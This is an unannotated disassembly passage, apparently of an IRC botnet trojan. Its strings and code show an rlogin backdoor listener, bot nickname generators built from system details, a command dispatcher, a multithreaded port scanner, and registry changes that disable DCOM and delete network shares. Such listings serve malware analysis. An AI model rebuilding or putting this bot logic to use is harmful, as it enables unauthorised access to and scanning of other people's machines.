		cmp	eax, 0FFFFFFFFh
		jz	loc_40F953
		push	[ebp+var_50]
		movzx	eax, [ebp+var_32]
		push	eax
		push	[ebp+var_30]
		mov	[ebp+var_3C], ebx
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_418]
		push	offset aRlogindClientC ; "[RLOGIND]: Client connection from IP:	%"...
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_401EFF
		push	esi
		lea	eax, [ebp+var_418]
		push	7
		push	eax
		call	sub_412471
		mov	ecx, [ebp+var_50]
		mov	[ebp+var_4C], eax
		imul	eax, 234h
		add	esp, 24h
		mov	dword_436684[eax], ecx
		lea	eax, [ebp+var_38]
		push	eax
		push	ebx
		lea	eax, [ebp+var_218]
		push	eax
		push	offset sub_40F563
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_436694[ecx], eax
		jnz	short loc_40F94E
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_1 ; "[RLOGIND]: Failed to start client threa"...
		call	sub_401F73
		pop	ecx
		pop	ecx
		jmp	short loc_40F977
; ---------------------------------------------------------------------------


loc_40F946:				; CODE XREF: sub_40F76F+1E2j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40F94E:				; CODE XREF: sub_40F76F+1C0j
		cmp	[ebp+var_3C], ebx
		jz	short loc_40F946


loc_40F953:				; CODE XREF: sub_40F76F+11Aj
					; sub_40F76F+137j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], edi
		call	dword_4357AC	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	loc_40F88E
		jmp	short loc_40F977
; ---------------------------------------------------------------------------


loc_40F974:				; CODE XREF: sub_40F76F+BDj
					; sub_40F76F+E3j ...
		mov	esi, [ebp+arg_0]


loc_40F977:				; CODE XREF: sub_40F76F+1D5j
					; sub_40F76F+203j
		call	dword_4358A0	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_418]
		push	offset aRlogindError_0 ; "[RLOGIND]: Error: server failed, return"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+var_40], ebx
		jnz	short loc_40F9B7
		push	ebx
		push	[ebp+var_44]
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+var_218]
		call	sub_4056FB
		add	esp, 14h


loc_40F9B7:				; CODE XREF: sub_40F76F+226j
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_401EFF
		pop	ecx
		push	esi
		call	dword_4358F4	; closesocket
		push	[ebp+arg_0]
		call	dword_4358F4	; closesocket
		call	dword_435900	; WSACleanup
		push	[ebp+var_50]
		call	sub_412735
		pop	ecx
		push	ebx


loc_40F9E4:				; CODE XREF: sub_40F76F+54j
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_40F76F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F9EB	proc near		; CODE XREF: sub_40FD06+6Cp
					; DATA XREF: .data:off_42C310o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_420004	; GetTickCount
		push	eax
		call	sub_414794
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aSoul ;	"[SOUL]"
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41483D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42BED4, esi
		jle	short loc_40FA44


loc_40FA1E:				; CODE XREF: sub_40F9EB+57j
		call	sub_4147A1
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41483D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42BED4
		jl	short loc_40FA1E


loc_40FA44:				; CODE XREF: sub_40F9EB+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40F9EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA49	proc near		; CODE XREF: sub_408A18+3005p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_420004	; GetTickCount
		push	eax
		call	sub_414794
		pop	ecx
		call	sub_4147A1
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	esi, edx
		add	esi, dword_42BED4
		test	esi, esi
		jle	short loc_40FA8C


loc_40FA76:				; CODE XREF: sub_40FA49+41j
		call	sub_4147A1
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40FA76


loc_40FA8C:				; CODE XREF: sub_40FA49+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_40FA49	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	ds:dword_420004	; GetTickCount
		push	eax
		call	sub_414794
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		mov	esi, offset aPc	; "PC"
		push	esi
		call	ds:dword_4200DC	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41483D
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42BED4, esi
		jle	short loc_40FAFF


loc_40FAD9:				; CODE XREF: .text:0040FAFDj
		call	sub_4147A1
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41483D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42BED4
		jl	short loc_40FAD9


loc_40FAFF:				; CODE XREF: .text:0040FAD7j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_420004	; GetTickCount
		push	eax
		call	sub_414794
		pop	ecx
		push	0Ah
		lea	eax, [ebp-0Ch]
		push	eax
		push	7
		push	800h
		call	ds:dword_42011C	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41483D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42BED4, esi
		jle	short loc_40FB74


loc_40FB4E:				; CODE XREF: .text:0040FB72j
		call	sub_4147A1
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41483D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42BED4
		jl	short loc_40FB4E


loc_40FB74:				; CODE XREF: .text:0040FB4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 94h
		push	esi
		push	edi
		lea	eax, [ebp-20h]
		push	eax
		mov	esi, 420AEAh
		mov	dword ptr [ebp-20h], 94h
		call	ds:dword_420120	; GetVersionExA
		call	ds:dword_420004	; GetTickCount
		push	eax
		call	sub_414794
		cmp	dword ptr [ebp-1Ch], 4
		pop	ecx
		jnz	short loc_40FBE8
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_40FBCE
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_40FBC1
		mov	esi, offset a95	; "95"


loc_40FBC1:				; CODE XREF: .text:0040FBBAj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_40FC18
		mov	esi, offset aNt	; "NT"
		jmp	short loc_40FC18
; ---------------------------------------------------------------------------


loc_40FBCE:				; CODE XREF: .text:0040FBB4j
		cmp	dword ptr [ebp-18h], 0Ah
		jnz	short loc_40FBDB
		mov	esi, offset a98	; "98"
		jmp	short loc_40FC18
; ---------------------------------------------------------------------------


loc_40FBDB:				; CODE XREF: .text:0040FBD2j
		cmp	dword ptr [ebp-18h], 5Ah
		jnz	short loc_40FC13
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40FC18
; ---------------------------------------------------------------------------


loc_40FBE8:				; CODE XREF: .text:0040FBAEj
		cmp	dword ptr [ebp-1Ch], 5
		jnz	short loc_40FC13
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_40FBFB
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40FC18
; ---------------------------------------------------------------------------


loc_40FBFB:				; CODE XREF: .text:0040FBF2j
		cmp	dword ptr [ebp-18h], 1
		jnz	short loc_40FC08
		mov	esi, offset aXp_0 ; "XP"
		jmp	short loc_40FC18
; ---------------------------------------------------------------------------


loc_40FC08:				; CODE XREF: .text:0040FBFFj
		cmp	dword ptr [ebp-18h], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40FC18


loc_40FC13:				; CODE XREF: .text:0040FBDFj
					; .text:0040FBECj
		mov	esi, offset a??? ; "???"


loc_40FC18:				; CODE XREF: .text:0040FBC5j
					; .text:0040FBCCj ...
		mov	edi, [ebp+7Ch]
		push	esi
		push	offset aS_7	; "[%s]"
		push	1Ch
		push	edi
		call	sub_41483D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42BED4, esi
		jle	short loc_40FC5C


loc_40FC36:				; CODE XREF: .text:0040FC5Aj
		call	sub_4147A1
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41483D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42BED4
		jl	short loc_40FC36


loc_40FC5C:				; CODE XREF: .text:0040FC34j
		mov	eax, edi
		pop	edi
		pop	esi
		add	ebp, 74h
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC65	proc near		; CODE XREF: sub_40FD06+80p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_420004	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		call	dword_435840	; FindWindowA
		test	esi, esi
		jbe	short loc_40FCB3
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40FC9C
		mov	eax, 420AEAh


loc_40FC9C:				; CODE XREF: sub_40FC65+30j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41483D
		add	esp, 14h
		jmp	short loc_40FCCD
; ---------------------------------------------------------------------------


loc_40FCB3:				; CODE XREF: sub_40FC65+27j
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40FCC1
		mov	eax, 420AEAh


loc_40FCC1:				; CODE XREF: sub_40FC65+55j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_40FCCD:				; CODE XREF: sub_40FC65+4Cj
		lea	eax, [ebp+var_1C]
		lea	edx, [eax+1]
		pop	esi


loc_40FCD4:				; CODE XREF: sub_40FC65+74j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40FCD4
		sub	eax, edx
		cmp	eax, 2
		jbe	short loc_40FD01
		push	1Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4144B0
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	sub_414670
		add	esp, 18h


loc_40FD01:				; CODE XREF: sub_40FC65+7Bj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40FC65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD06	proc near		; CODE XREF: sub_40863D+53p
					; sub_4088B9+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		xor	edi, edi


loc_40FD10:				; CODE XREF: sub_40FD06+62j
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jz	short loc_40FD4F
		lea	eax, dword_42C300[edi]


loc_40FD1D:				; CODE XREF: sub_40FD06+33j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_40FD3F
		test	cl, cl
		jz	short loc_40FD3B
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_40FD3F
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_40FD1D


loc_40FD3B:				; CODE XREF: sub_40FD06+21j
		xor	eax, eax
		jmp	short loc_40FD44
; ---------------------------------------------------------------------------


loc_40FD3F:				; CODE XREF: sub_40FD06+1Dj
					; sub_40FD06+2Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40FD44:				; CODE XREF: sub_40FD06+37j
		xor	ecx, ecx
		test	eax, eax
		setz	cl
		mov	eax, ecx
		jmp	short loc_40FD5D
; ---------------------------------------------------------------------------


loc_40FD4F:				; CODE XREF: sub_40FD06+Fj
		mov	ecx, dword_42C30C[edi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40FD5D:				; CODE XREF: sub_40FD06+47j
		test	eax, eax
		jnz	short loc_40FD6C
		add	edi, 14h
		inc	edx
		cmp	edi, 64h
		jb	short loc_40FD10
		jmp	short loc_40FD7A
; ---------------------------------------------------------------------------


loc_40FD6C:				; CODE XREF: sub_40FD06+59j
		push	[ebp+arg_0]
		lea	eax, [edx+edx*4]
		call	off_42C310[eax*4]
		pop	ecx


loc_40FD7A:				; CODE XREF: sub_40FD06+64j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		pop	ebx
		jz	short loc_40FD8E
		push	[ebp+arg_0]
		call	sub_40FC65
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40FD8E:				; CODE XREF: sub_40FD06+7Bj
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40FD06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40FD93	proc near		; DATA XREF: sub_40FE55+77o

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0B8h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		push	2Ah
		pop	ecx
		lea	edi, [ebp+74h+var_B8]
		rep movsd
		push	[ebp+74h+var_34]
		xor	esi, esi
		inc	esi
		mov	[eax+0A4h], esi
		xor	eax, eax
		lea	edi, [ebp+74h+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_10], 2
		call	dword_435934	; ntohs
		push	6
		mov	[ebp+74h+var_E], ax
		mov	eax, [ebp+74h+var_28]
		push	esi
		push	2
		mov	[ebp+74h+var_C], eax
		call	dword_4357E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40FE43
		push	10h
		lea	eax, [ebp+74h+var_10]
		push	eax
		push	esi
		call	dword_4357A0	; connect
		mov	ecx, [ebp+74h+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43668C[ecx], esi
		jz	short loc_40FE43
		push	[ebp+74h+var_34]
		push	[ebp+74h+var_28]
		call	dword_435868	; inet_ntoa
		push	eax
		push	offset aScanIpSPortD_0 ; "[SCAN]: IP: %s Port: %d is open."
		mov	edi, offset dword_47BF60
		push	edi
		call	sub_4145E5
		push	0
		push	[ebp+74h+var_20]
		lea	eax, [ebp+74h+var_B4]
		push	edi
		push	eax
		push	[ebp+74h+var_B8]
		call	sub_4056FB
		push	edi
		call	sub_401EFF
		add	esp, 28h


loc_40FE43:				; CODE XREF: sub_40FD93+55j
					; sub_40FD93+76j
		push	esi
		call	dword_4358F4	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		add	ebp, 74h
		leave
		retn	4
sub_40FD93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_40FE55	proc near		; DATA XREF: sub_408A18+267Bo

var_12C		= byte ptr -12Ch
var_AC		= byte ptr -0ACh
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 12Ch
		push	ebx
		mov	ebx, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, ebx
		lea	edi, [ebp+74h+var_AC]
		rep movsd
		mov	esi, ds:dword_420000
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_40FE82:				; CODE XREF: sub_40FE55+C1j
		push	[ebp+74h+var_28]
		push	[ebp+74h+var_1C]
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_12C]
		push	offset aScanScanningIp ; "[SCAN]: Scanning IP: %s, Port: %d."
		push	eax
		call	sub_4145E5
		push	1FFh
		lea	eax, [ebp+74h+var_12C]
		push	eax
		mov	eax, [ebp+74h+var_20]
		imul	eax, 234h
		add	eax, offset dword_436480
		push	eax
		call	sub_414670
		add	esp, 1Ch
		lea	eax, [ebp+74h+var_4]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_AC]
		push	eax
		push	offset sub_40FD93
		push	edi
		push	edi
		call	ds:dword_42000C	; CreateThread
		cmp	eax, edi
		mov	[ebp+74h+arg_0], eax
		jz	short loc_40FEEB
		jmp	short loc_40FEE6
; ---------------------------------------------------------------------------


loc_40FEE2:				; CODE XREF: sub_40FE55+94j
		push	32h
		call	esi	; Sleep


loc_40FEE6:				; CODE XREF: sub_40FE55+8Bj
		cmp	[ebp+74h+var_8], edi
		jz	short loc_40FEE2


loc_40FEEB:				; CODE XREF: sub_40FE55+89j
		push	[ebp+74h+arg_0]
		call	ds:dword_42003C	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		push	[ebp+74h+var_1C]
		call	dword_4358B8	; ntohl
		inc	eax
		push	eax
		call	dword_43590C	; ntohl
		mov	[ebp+74h+var_1C], eax
		jmp	loc_40FE82
sub_40FE55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF1B	proc near		; CODE XREF: sub_41055B+8p
					; sub_410579+37p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_435948, edi
		jnz	loc_41004E
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		mov	esi, 80000002h
		push	esi
		call	dword_435910	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40FFA7
		lea	eax, [ebp+var_8+2]
		mov	word ptr [ebp+var_8+2],	4Eh
		lea	edx, [eax+1]


loc_40FF5F:				; CODE XREF: sub_40FF1B+49j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40FF5F
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4357CC	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_40FF8F
		push	offset aSecureDisableD ; "[SECURE]: Disable DCOM failed."
		jmp	short loc_40FF94
; ---------------------------------------------------------------------------


loc_40FF8F:				; CODE XREF: sub_40FF1B+6Bj
		push	offset aSecureDcomDisa ; "[SECURE]: DCOM disabled."


loc_40FF94:				; CODE XREF: sub_40FF1B+72j
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4358C4	; RegCloseKey
		jmp	short loc_40FFBA
; ---------------------------------------------------------------------------


loc_40FFA7:				; CODE XREF: sub_40FF1B+36j
		lea	eax, [ebp+var_214]
		push	offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM	registry "...
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_40FFBA:				; CODE XREF: sub_40FF1B+8Aj
		cmp	[ebp+arg_C], edi
		jnz	short loc_40FFD9
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_40FFD9:				; CODE XREF: sub_40FF1B+A2j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401EFF
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_435910	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_410047
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4357CC	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_41002F
		push	offset aSecureFailed_1 ; "[SECURE]: Failed to restrict access to "...
		jmp	short loc_410034
; ---------------------------------------------------------------------------


loc_41002F:				; CODE XREF: sub_40FF1B+10Bj
		push	offset aSecureRestrict ; "[SECURE]: Restricted access to the IPC$"...


loc_410034:				; CODE XREF: sub_40FF1B+112j
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4358C4	; RegCloseKey
		jmp	short loc_410061
; ---------------------------------------------------------------------------


loc_410047:				; CODE XREF: sub_40FF1B+E3j
		push	offset aSecureFailed_2 ; "[SECURE]: Failed to open IPC$	Restricti"...
		jmp	short loc_410053
; ---------------------------------------------------------------------------


loc_41004E:				; CODE XREF: sub_40FF1B+13j
		push	offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"...


loc_410053:				; CODE XREF: sub_40FF1B+131j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_410061:				; CODE XREF: sub_40FF1B+12Aj
		cmp	[ebp+arg_C], edi
		jnz	short loc_410080
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_410080:				; CODE XREF: sub_40FF1B+149j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401EFF
		cmp	dword_435970, edi
		pop	ecx
		jnz	loc_4101FD
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi
		push	ebx


loc_4100A3:				; CODE XREF: sub_40FF1B+2C6j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	eax
		push	1F6h
		push	edi
		call	dword_4358E8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_410142
		cmp	eax, 0EAh
		jz	short loc_410142
		xor	esi, esi


loc_4100D1:				; CODE XREF: sub_40FF1B+220j
		push	off_42C368[esi]
		push	edi
		call	sub_407150
		pop	ecx
		pop	ecx
		push	off_42C368[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_4100F6
		push	offset aSecureShareSDe ; "[SECURE]: Share '%s' deleted."
		jmp	short loc_4100FB
; ---------------------------------------------------------------------------


loc_4100F6:				; CODE XREF: sub_40FF1B+1D2j
		push	offset aSecureFailed_3 ; "[SECURE]: Failed to delete '%s' share."


loc_4100FB:				; CODE XREF: sub_40FF1B+1D9j
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_410128
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_410128:				; CODE XREF: sub_40FF1B+1F1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401EFF
		add	esi, 8
		cmp	esi, 20h
		pop	ecx
		jb	short loc_4100D1
		jmp	loc_4101DA
; ---------------------------------------------------------------------------


loc_410142:				; CODE XREF: sub_40FF1B+1ABj
					; sub_40FF1B+1B2j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_4101D1


loc_410151:				; CODE XREF: sub_40FF1B+2B2j
		mov	edi, [esi]
		push	edi
		call	sub_415B4E
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_4101C6
		push	edi
		call	sub_407064
		push	eax
		push	0
		call	sub_407150
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_410186
		push	offset aSecureShareS_0 ; "[SECURE]: Share '%S' deleted."
		jmp	short loc_41018B
; ---------------------------------------------------------------------------


loc_410186:				; CODE XREF: sub_40FF1B+262j
		push	offset aSecureFailed_4 ; "[SECURE]: Failed to delete '%S' share."


loc_41018B:				; CODE XREF: sub_40FF1B+269j
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_4101B9
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_4101B9:				; CODE XREF: sub_40FF1B+282j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401EFF
		pop	ecx


loc_4101C6:				; CODE XREF: sub_40FF1B+245j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_410151
		xor	edi, edi


loc_4101D1:				; CODE XREF: sub_40FF1B+230j
		push	[ebp+var_8]
		call	dword_435820


loc_4101DA:				; CODE XREF: sub_40FF1B+222j
		cmp	[ebp+var_10], 0EAh
		jz	loc_4100A3
		lea	eax, [ebp+var_214]
		push	offset aSecureNetworkS ; "[SECURE]: Network shares deleted."
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_410210
; ---------------------------------------------------------------------------


loc_4101FD:				; CODE XREF: sub_40FF1B+178j
		lea	eax, [ebp+var_214]
		push	offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"...
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_410210:				; CODE XREF: sub_40FF1B+2E0j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41022E
		push	edi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_41022E:				; CODE XREF: sub_40FF1B+2F8j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401EFF
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_40FF1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410242	proc near		; CODE XREF: sub_410579:loc_4105B7p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_435948, ebx
		push	esi
		jnz	loc_410371
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		mov	esi, 80000002h
		push	esi
		call	dword_435910	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4102CE
		lea	eax, [ebp+var_8+2]
		mov	word ptr [ebp+var_8+2],	59h
		lea	edx, [eax+1]


loc_410286:				; CODE XREF: sub_410242+49j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_410286
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4357CC	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_4102B6
